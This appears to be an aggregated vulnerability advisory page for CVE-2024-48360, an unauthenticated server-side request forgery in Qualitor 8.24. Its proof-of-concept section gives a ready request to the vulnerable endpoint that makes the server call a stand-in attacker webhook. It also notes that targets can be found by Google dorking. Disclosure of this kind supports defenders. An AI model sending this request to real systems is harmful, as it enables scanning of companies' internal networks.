Qualitor 8.24 Server-Side Request Forgery

🗓️ 31 Oct 2024 00:00:00Reported by OpenXP Research Team, github.comType

packetstorm🔗 packetstormsecurity.com👁 305 Views

Qualitor v8.24 Unauthenticated SSRF vulnerability allows attackers to enumerate internal systems/ports via /request/viewValidacao.php

Reporter	Title	Published	Views	Family All 11
Circl	CVE-2024-48360	31 Oct 202421:57	–	circl
CNNVD	Qualitor 安全漏洞	31 Oct 202400:00	–	cnnvd
CVE	CVE-2024-48360	31 Oct 202400:00	–	cve
Cvelist	CVE-2024-48360	31 Oct 202400:00	–	cvelist
GithubExploit	Exploit for Server-Side Request Forgery in Qualitor	30 Oct 202414:55	–	githubexploit
Nuclei	Qualitor <= v8.24 - Server-Side Request Forgery	29 May 202603:59	–	nuclei
NVD	CVE-2024-48360	31 Oct 202420:15	–	nvd
OSV	CVE-2024-48360	31 Oct 202420:15	–	osv
Positive Technologies	PT-2024-33091 · Qualitor · Qualitor	31 Oct 202400:00	–	ptsecurity
RedhatCVE	CVE-2024-48360	23 May 202507:31	–	redhatcve

`# CVE-2024-48360 | Qualitor <= v8.24 Unauthenticated SSRF  
  
## Description  
  
Qualitor is a platform for business process management, and this system is present in various companies in Brazil that can be identified simply by using Google dorking.  
  
Our team identified a vulnerability in the application susceptible to SSRF, which allows enumerate internal systems/ports.  
  
## Proof of Concept (POC)  
  
Qualitor v8.24 was discovered to contain a Server-Side Request Forgery (SSRF) via the component /request/viewValidacao.php.  
  
To exploit, just send a request to host.com/html/ad/adformmobile/request/viewValidacao.php?url=ATTACKER_WEBHOOK, you will receive the request from vulnerable server.  
  
![image](https://github.com/user-attachments/assets/c7f3dd6f-759d-430c-a135-fdc01e802619)  
  
  
### Researches  
  
https://www.linkedin.com/in/xvinicius/  
  
  
- OpenXP Research Team  
  
  
`

31 Oct 2024 00:00Current

7.4High risk

Vulners AI Score7.4

EPSS0.90962